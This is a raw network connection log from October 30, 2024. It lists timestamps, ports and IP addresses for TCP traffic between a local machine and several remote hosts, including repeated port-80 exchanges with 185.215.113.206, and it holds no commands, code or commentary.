Oct 30, 2024 04:34:42.201255083 CET	51050	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.201363087 CET	51049	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.201999903 CET	51049	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.202012062 CET	443	51049	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.202030897 CET	51049	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.202037096 CET	443	51049	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.203201056 CET	51050	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.203221083 CET	443	51050	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.203310966 CET	51050	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.203320026 CET	443	51050	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.204304934 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.204389095 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.204404116 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.204519033 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.204710007 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.204895020 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.204909086 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.224827051 CET	51061	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.224867105 CET	443	51061	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.224967003 CET	51061	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.225320101 CET	51061	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.225328922 CET	443	51061	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.225745916 CET	51062	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.225809097 CET	443	51062	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.225893021 CET	51062	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.226130009 CET	51062	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.226155043 CET	443	51062	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.259141922 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.259155989 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.259186029 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.259208918 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.259217978 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.259280920 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.259296894 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.259849072 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.259902954 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.259915113 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.259929895 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.259979963 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.260163069 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.260180950 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.308680058 CET	443	51051	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.308715105 CET	443	51051	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.308764935 CET	443	51051	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.308779001 CET	51051	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.308866024 CET	51051	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.338570118 CET	51051	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.338586092 CET	443	51051	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.338673115 CET	51051	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.338680983 CET	443	51051	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.371223927 CET	51063	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.371253014 CET	443	51063	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.371675968 CET	51063	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.380695105 CET	51063	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.380711079 CET	443	51063	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.477356911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477370024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477381945 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477392912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477411985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477425098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477461100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477473021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477468967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.477490902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477544069 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.477544069 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.477912903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477931023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477942944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.477984905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.478029013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.478038073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.478137016 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.478199959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.478334904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.478475094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.478487968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.478499889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.478511095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.478534937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.478552103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.478585005 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.478591919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.478605986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.478606939 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.478641987 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.478688955 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.489168882 CET	51064	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:42.489188910 CET	443	51064	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:42.489279032 CET	51064	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:42.489877939 CET	51065	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:42.489917040 CET	443	51065	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:42.490032911 CET	51065	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:42.491687059 CET	51066	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:42.491708994 CET	443	51066	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:42.491787910 CET	51066	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:42.493405104 CET	51064	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:42.493417978 CET	443	51064	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:42.497198105 CET	51065	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:42.497215986 CET	443	51065	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:42.503142118 CET	51066	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:42.503154993 CET	443	51066	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:42.506839991 CET	51067	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:42.506871939 CET	443	51067	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:42.507077932 CET	51067	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:42.514837980 CET	51067	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:42.514852047 CET	443	51067	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:42.523833990 CET	443	51053	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:42.526294947 CET	51053	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:42.526304960 CET	443	51053	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:42.527411938 CET	443	51053	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:42.527492046 CET	51053	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:42.537586927 CET	51053	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:42.537671089 CET	443	51053	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:42.542532921 CET	51053	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:42.542546988 CET	443	51053	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:42.634689093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.634715080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.634783030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.634800911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.634846926 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.634856939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.634871006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.634903908 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.634910107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.634923935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.634924889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.634954929 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.635004044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.635166883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635214090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.635215998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635230064 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635278940 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.635278940 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.635288954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635301113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635337114 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.635370970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.635591984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635611057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635622978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635652065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.635703087 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.635729074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635740995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635751963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.635777950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.635804892 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636151075 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636163950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636174917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636209011 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636235952 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636245012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636256933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636286974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636317968 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636603117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636660099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636663914 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636677027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636708975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636734962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636753082 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636765003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636775970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636806965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636838913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636856079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636867046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636878014 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.636909008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.636940956 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.641357899 CET	51068	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:42.641424894 CET	443	51068	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:42.641653061 CET	51068	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:42.641979933 CET	51069	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:42.642029047 CET	443	51069	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:42.642124891 CET	51069	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:42.642407894 CET	51069	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:42.642424107 CET	443	51069	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:42.642596006 CET	51068	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:42.642626047 CET	443	51068	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:42.651757956 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.653233051 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.654273033 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.654289961 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.654545069 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.654553890 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.654798985 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.655359030 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.655446053 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.655565023 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.655736923 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.655796051 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.656081915 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.656141996 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.656246901 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.668988943 CET	51053	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:42.670540094 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.671737909 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.671746016 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.672883034 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.673407078 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.673546076 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.673549891 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.673578978 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.699351072 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.703340054 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.711529016 CET	443	51053	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:42.711755991 CET	443	51053	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:42.711816072 CET	51053	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:42.713792086 CET	443	51054	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:42.717376947 CET	51054	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:42.717389107 CET	443	51054	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:42.718772888 CET	51053	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:42.718785048 CET	443	51053	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:42.721080065 CET	443	51054	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:42.721155882 CET	51054	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:42.726032972 CET	51054	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:42.726226091 CET	443	51054	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:42.726320982 CET	51054	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:42.726329088 CET	443	51054	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:42.755875111 CET	443	51052	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.757904053 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.757916927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.757977009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.758029938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.758039951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.758055925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.758081913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.758111954 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.758124113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.758135080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.758156061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.758177042 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.758177042 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.758213043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.758383989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.758451939 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.762252092 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.762269974 CET	443	51052	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.763340950 CET	443	51052	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.763417959 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.764528990 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.764601946 CET	443	51052	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.764713049 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.764730930 CET	443	51052	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.764779091 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.764822960 CET	443	51052	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.768613100 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.768625021 CET	51054	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:42.768626928 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.768636942 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.770809889 CET	51070	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:42.770818949 CET	443	51070	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:42.770927906 CET	51070	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:42.771771908 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.771842003 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.771995068 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.772032022 CET	51070	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:42.772042990 CET	443	51070	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:42.772360086 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.772393942 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.783034086 CET	51072	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.783061028 CET	443	51072	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.783288956 CET	51072	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.783548117 CET	51072	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.783561945 CET	443	51072	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.791662931 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.791692019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.791702032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.791735888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.791747093 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.791749954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.791769981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.791775942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.791788101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.791790962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.791831970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.791832924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.791845083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.791889906 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.792099953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792141914 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792151928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792160988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.792198896 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.792282104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792327881 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.792339087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792351961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792393923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.792418957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792429924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792439938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792474985 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.792474985 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.792752981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792803049 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.792843103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792859077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792870045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792879105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.792885065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.792918921 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.792918921 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.793143034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.793154001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.793183088 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.793195009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.793211937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.793211937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.793250084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.812040091 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:42.812272072 CET	51055	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:42.812288046 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:42.812628031 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:42.813010931 CET	51055	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:42.813070059 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:42.813184023 CET	51055	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:42.817322016 CET	443	51059	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.819921970 CET	51059	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.819983959 CET	443	51059	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.820333004 CET	51059	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.820363045 CET	443	51059	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.840934038 CET	443	51060	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.841721058 CET	51060	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.841741085 CET	443	51060	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.842230082 CET	51060	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.842236042 CET	443	51060	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.855338097 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:42.872685909 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.872694969 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.876638889 CET	443	51054	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:42.881282091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.881325960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.881336927 CET	80	50987	185.215.113.206	192.168.2.6
